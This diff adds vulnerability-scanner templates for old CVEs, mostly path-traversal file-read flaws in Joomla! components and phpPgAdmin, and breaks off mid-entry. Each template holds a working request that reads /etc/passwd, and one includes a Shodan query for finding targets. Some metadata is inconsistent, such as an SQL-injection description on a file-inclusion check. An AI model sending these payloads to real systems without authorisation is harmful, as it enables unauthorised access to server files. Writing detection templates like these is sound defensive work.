+          - "text/html"
@@ -0,0 +1,27 @@
+id: CVE-2008-5587
+
+info:
+  name: phpPgAdmin 4.2.1 - '_language' Local File Inclusion
+  author: dhiyaneshDK
+  severity: medium
+  reference: https://www.exploit-db.com/exploits/7363
+  tags: cve2008,lfi,phppgadmin
+  metadata:
+    shodan-query: 'http.title:"phpPgAdmin"'
+  description: "Directory traversal vulnerability in libraries/lib.inc.php in phpPgAdmin 4.2.1 and earlier, when register_globals is enabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the _language parameter to index.php."
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00'
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2008-6080
+
+info:
+  name: Joomla! Component ionFiles 4.4.2 - File Disclosure
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in download.php in the ionFiles (com_ionfiles) 4.4.2 component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter.
+  reference:
+    - https://www.exploit-db.com/exploits/6809
+    - https://www.cvedetails.com/cve/CVE-2008-6080
+  tags: cve,cve2008,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/components/com_ionfiles/download.php?file=../../../../../../../../etc/passwd&download=1"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2008-6222
+
+info:
+  name: Joomla! Component ProDesk 1.0/1.2 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Pro Desk Support Center (com_pro_desk) component 1.0 and 1.2 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the include_file parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/6980
+    - https://www.cvedetails.com/cve/CVE-2008-6222
+  tags: cve,cve2008,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2009-1496
+
+info:
+  name: Joomla! Component Cmimarketplace - 'viewit' Directory Traversal
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Cmi Marketplace (com_cmimarketplace) component 0.1 for Joomla! allows remote attackers to list arbitrary directories via a .. (dot dot) in the viewit parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/8367
+    - https://www.cvedetails.com/cve/CVE-2009-1496
+  tags: cve,cve2009,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_cmimarketplace&Itemid=70&viewit=/../../../../../../etc/passwd&cid=1"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2009-2015
+
+info:
+  name: Joomla! Component MooFAQ (com_moofaq) - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in includes/file_includer.php in the Ideal MooFAQ (com_moofaq) component 1.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter.
+  reference:
+    - https://www.exploit-db.com/exploits/8898
+    - https://www.cvedetails.com/cve/CVE-2009-2015
+  tags: cve,cve2009,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/components/com_moofaq/includes/file_includer.php?gzip=0&file=/../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2009-2100
+
+info:
+  name: Joomla! Component com_Projectfork 2.0.10 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the JoomlaPraise Projectfork (com_projectfork) component 2.0.10 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the section parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/8946
+    - https://www.cvedetails.com/cve/CVE-2009-2100
+  tags: cve,cve2009,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_projectfork&section=../../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2009-3053
+
+info:
+  name: Joomla! Component Agora 3.0.0b (com_agora) - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Agora (com_agora) component 3.0.0b for Joomla! allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the action parameter to the avatars page, reachable through index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/9564
+    - https://www.cvedetails.com/cve/CVE-2009-3053
+  tags: cve,cve2009,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_agora&task=profile&page=avatars&action=../../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2009-3318
+
+info:
+  name: Joomla! Component com_album 1.14 - Directory Traversal
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Roland Breedveld Album (com_album) component 1.14 for Joomla! allows remote attackers to access arbitrary directories and have unspecified other impact via a .. (dot dot) in the target parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/9706
+    - https://www.cvedetails.com/cve/CVE-2009-3318
+  tags: cve,cve2009,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_album&Itemid=128&target=../../../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2009-4202
+
+info:
+  name: Joomla! Component Omilen Photo Gallery 0.5b - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Omilen Photo Gallery (com_omphotogallery) component Beta 0.5 for Joomla! allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/8870
+    - https://www.cvedetails.com/cve/CVE-2009-4202
+  tags: cve,cve2009,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_omphotogallery&controller=../../../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2009-4679
+
+info:
+  name: Joomla! Component iF Portfolio Nexus - 'Controller' Remote File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the inertialFATE iF Portfolio Nexus (com_if_nexus) component 1.5 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/33440
+    - https://www.cvedetails.com/cve/CVE-2009-4679
+  tags: cve,cve2009,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_kif_nexus&controller=../../../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-0157
+
+info:
+  name: Joomla! Component com_biblestudy - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Bible Study (com_biblestudy) component 6.1 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter in a studieslist action to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/10943
+    - https://www.cvedetails.com/cve/CVE-2010-0157
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_biblestudy&id=1&view=studieslist&controller=../../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,32 @@
+id: CVE-2010-0467
+
+info:
+  name: Joomla! Component CCNewsLetter - Local File Inclusion
+  author: daffainfo
+  severity: medium
+  description: Directory traversal vulnerability in the ccNewsletter (com_ccnewsletter) component 1.0.5 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter in a ccnewsletter action to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/11282
+    - https://www.cvedetails.com/cve/CVE-2010-0467
+  tags: cve,cve2010,joomla,lfi
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
+    cvss-score: 5.80
+    cve-id: CVE-2010-0467
+    cwe-id: CWE-22
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_ccnewsletter&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-0696
+
+info:
+  name: Joomla! Component Jw_allVideos - Arbitrary File Download
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in includes/download.php in the JoomlaWorks AllVideos (Jw_allVideos) plugin 3.0 through 3.2 for Joomla! allows remote attackers to read arbitrary files via a ./../.../ (modified dot dot) in the file parameter.
+  reference:
+    - https://www.exploit-db.com/exploits/11447
+    - https://www.cvedetails.com/cve/CVE-2010-0696
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/plugins/content/jw_allvideos/includes/download.php?file=../../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-0759
+
+info:
+  name: Joomla! Plugin Core Design Scriptegrator - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php in the Core Design Scriptegrator plugin 1.4.1 for Joomla! allows remote attackers to read, and possibly include and execute, arbitrary files via directory traversal sequences in the files[] parameter.
+  reference:
+    - https://www.exploit-db.com/exploits/11498
+    - https://www.cvedetails.com/cve/CVE-2010-0759
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php?files[]=/etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-0942
+
+info:
+  name: Joomla! Component com_jvideodirect - Directory Traversal
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the jVideoDirect (com_jvideodirect) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/11089
+    - https://www.cvedetails.com/cve/CVE-2010-0942
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_jvideodirect&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-0972
+
+info:
+  name: Joomla! Component com_gcalendar Suite 2.1.5 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the GCalendar (com_gcalendar) component 2.1.5 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/11738
+    - https://www.cvedetails.com/cve/CVE-2010-0972
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_gcalendar&controller=../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-0982
+
+info:
+  name: Joomla! Component com_cartweberp - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the CARTwebERP (com_cartweberp) component 1.56.75 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/10942
+    - https://www.cvedetails.com/cve/CVE-2010-0982
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_cartweberp&controller=../../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-1056
+
+info:
+  name: Joomla! Component com_rokdownloads - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the RokDownloads (com_rokdownloads) component before 1.0.1 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/11760
+    - https://www.cvedetails.com/cve/CVE-2010-1056
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_rokdownloads&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-1081
+
+info:
+  name: Joomla! Component com_communitypolls 1.5.2 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Community Polls (com_communitypolls) component 1.5.2, and possibly earlier, for Core Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/11511
+    - https://www.cvedetails.com/cve/CVE-2010-1081
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_communitypolls&controller=../../../../../../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-1217
+
+info:
+  name: Joomla! Component & Plugin JE Tooltip 1.0 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the JE Form Creator (com_jeformcr) component for Joomla!, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via directory traversal sequences in the view parameter to index.php. NOTE the original researcher states that the affected product is JE Tooltip, not Form Creator; however, the exploit URL suggests that Form Creator is affected.
+  reference:
+    - https://www.exploit-db.com/exploits/11814
+    - https://www.cvedetails.com/cve/CVE-2010-1217
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_jeformcr&view=../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-1302
+
+info:
+  name: Joomla! Component DW Graph - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in dwgraphs.php in the DecryptWeb DW Graphs (com_dwgraphs) component 1.0 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/11978
+    - https://www.cvedetails.com/cve/CVE-2010-1302
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_dwgraphs&controller=../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-1315
+
+info:
+  name: Joomla! Component webERPcustomer - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in weberpcustomer.php in the webERPcustomer (com_weberpcustomer) component 1.2.1 and 1.x before 1.06.02 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/11999
+    - https://www.cvedetails.com/cve/CVE-2010-1315
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_weberpcustomer&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-1340
+
+info:
+  name: Joomla! Component com_jresearch - 'Controller' Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in jresearch.php in the J!Research (com_jresearch) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/33797
+    - https://www.cvedetails.com/cve/CVE-2010-1340
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_jresearch&controller=../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-1461
+
+info:
+  name: Joomla! Component Photo Battle 1.0.1 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Photo Battle (com_photobattle) component 1.0.1 for Joomla! allows remote attackers to read arbitrary files via the view parameter to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/12232
+    - https://www.cvedetails.com/cve/CVE-2010-1461
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_photobattle&view=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-1469
+
+info:
+  name: Joomla! Component JProject Manager 1.0 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Ternaria Informatica JProject Manager (com_jprojectmanager) component 1.0 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/12146
+    - https://www.cvedetails.com/cve/CVE-2010-1469
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_jprojectmanager&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-1478
+
+info:
+  name: Joomla! Component Jfeedback 1.2 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Ternaria Informatica Jfeedback! (com_jfeedback) component 1.2 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/12145
+    - https://www.cvedetails.com/cve/CVE-2010-1478
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_jfeedback&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-1491
+
+info:
+  name: Joomla! Component MMS Blog 2.3.0 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the MMS Blog (com_mmsblog) component 2.3.0 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12318
+    - https://www.cvedetails.com/cve/CVE-2010-1491
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_mmsblog&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-1540
+
+info:
+  name: Joomla! Component com_blog - Directory Traversal
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in index.php in the MyBlog (com_myblog) component 3.0.329 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the task parameter.
+  reference: |
+    - https://www.exploit-db.com/exploits/11625
+    - https://www.cvedetails.com/cve/CVE-2010-1540
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_myblog&Itemid=1&task=../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-1603
+
+info:
+  name: Joomla! Component ZiMBCore 0.1 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the ZiMB Core (aka ZiMBCore or com_zimbcore) component 0.1 in the ZiMB Manager collection for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12284
+    - https://www.cvedetails.com/cve/CVE-2010-1603
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_zimbcore&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-1653
+
+info:
+  name: Joomla! Component Graphics 1.0.6 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in graphics.php in the Graphics (com_graphics) component 1.0.6 and 1.5.0 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php. NOTE some of these details are obtained from third party information.
+  reference:
+    - https://www.exploit-db.com/exploits/12430
+    - https://www.cvedetails.com/cve/CVE-2010-1653
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_graphics&controller=../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-1658
+
+info:
+  name: Joomla! Component NoticeBoard 1.3 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Code-Garage NoticeBoard (com_noticeboard) component 1.3 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12427
+    - https://www.cvedetails.com/cve/CVE-2010-1658
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_noticeboard&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-1715
+
+info:
+  name: Joomla! Component Online Exam 1.5.0 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Online Examination (aka Online Exam or com_onlineexam) component 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. NOTE some of these details are obtained from third party information.
+  reference:
+    - https://www.exploit-db.com/exploits/12174
+    - https://www.cvedetails.com/cve/CVE-2010-1715
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_onlineexam&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-1858
+
+info:
+  name: Joomla! Component SMEStorage - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the SMEStorage (com_smestorage) component before 1.1 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/11853
+    - https://www.cvedetails.com/cve/CVE-2010-1858
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_smestorage&controller=../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -1,14 +1,19 @@
-id: maestro-unauth-rce
+id: CVE-2010-1870

 info:
  name: ListSERV Maestro <= 9.0-8 RCE
  author: b0yd
  severity: info
-  description: CVE-2010-1870 Struts based OGNL remote code execution in ListSERV Maestro before and including version 9.0-8.
+  description: Struts-based OGNL remote code execution in ListSERV Maestro before and including version 9.0-8.
  reference:
    - https://www.securifera.com/advisories/sec-2020-0001/
    - https://packetstormsecurity.com/files/159643/listservmaestro-exec.txt
-  tags: rce,listserv,ognl
+  tags: rce,listserv,ognl,cves,cve2010
+  classification:
+    cvss-metrics: AV:N/AC:L/Au:N/C:N/I:P/A:N
+    cvss-score: 5.0
+    cve-id: CVE-2010-1870
+    cwe-id: CWE-917

 requests:
  - method: GET
@@ -22,4 +27,4 @@ requests:
          - 'LISTSERV Maestro\s+9\.0-[123456780]'
          - 'LISTSERV Maestro\s+[5678]'
          - 'Administration Hub 9\.0-[123456780]'
-          - 'Administration Hub [5678]'
+          - 'Administration Hub [5678]'
@@ -0,0 +1,27 @@
+id: CVE-2010-1873
+
+info:
+  name: Joomla! Component Jvehicles - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: SQL injection vulnerability in the Jvehicles (com_jvehicles) component 1.0, 2.0, and 2.1111 for Joomla! allows remote attackers to execute arbitrary SQL commands via the aid parameter in an agentlisting action to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/11997
+    - https://www.cvedetails.com/cve/CVE-2010-1873
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_jvehicles&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-1878
+
+info:
+  name: Joomla! Component OrgChart 1.0.0 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the OrgChart (com_orgchart) component 1.0.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12317
+    - https://www.cvedetails.com/cve/CVE-2010-1878
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_orgchart&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2010-1977
+
+info:
+  name: Joomla! Component J!WHMCS Integrator 1.5.0 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the J!WHMCS Integrator (com_jwhmcs) component 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
+  reference:
+    - https://www.exploit-db.com/exploits/12083
+    - https://www.cvedetails.com/cve/CVE-2010-1977
+  tags: cve,cve2010,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_jwhmcs&controller=../../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,26 @@
+id: CVE-2010-1982
+info:
